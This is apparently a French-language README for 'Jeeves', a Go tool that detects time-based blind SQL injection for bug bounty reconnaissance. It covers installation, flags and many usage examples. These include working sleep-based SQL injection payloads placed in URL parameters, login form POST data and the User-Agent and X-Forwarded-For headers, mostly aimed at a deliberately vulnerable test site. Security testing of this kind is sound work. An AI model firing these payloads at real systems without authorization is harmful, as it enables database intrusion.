
Outil de détection d'injection SQL aveugle basée sur le temps pour la reconnaissance et les programmes de bug bounty. Accepte des URLs uniques ou des listes, prend en charge les en-têtes personnalisés, le proxy et les données POST pour le scan automatisé des vulnérabilités.
Installation de Jeeves 💀
$ go install github.com/ferreiraklet/Jeeves@latest
OU
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h
Lors de votre processus de reconnaissance, vous pouvez trouver des points d'accès qui pourraient être vulnérables aux injections SQL, Ex : https://redacted.com/index.php?id=1
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10
Dans --payload-time, vous devez utiliser le temps mentionné dans la payload
cat targets | jeeves --payload-time 5
Attention à la syntaxe ! Doit être identique =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
Proxy + En-têtes =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"
Envoi de données via une requête POST ( formulaires de connexion, etc. )
Attention à la syntaxe ! Doit être identique ! ->
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"
Vous pouvez utiliser Jeeves avec d'autres outils, comme gau, gauplus, waybackurls, qsreplace et bhedak, pour maîtriser sa puissance.
Command line flags:
Usage:
-t, --payload-time, The time from payload
-p, --proxy Send traffic to a proxy
-c Set Concurrency, Default 25
-H, --headers Custom Headers
-d, --data Sending Post request with data
-h Show This Help Message
Utilisation avec une wordlist de payloads SQL
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done
Test dans les en-têtes
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
Payload credit: https://github.com/rohit0x5
Remarque :
Si une erreur se produit dans le programme, contactez-moi immédiatement.
Nilo - Vérifie si l'URL a un statut 200
Blisqy Injection SQL temporelle basée sur les en-têtes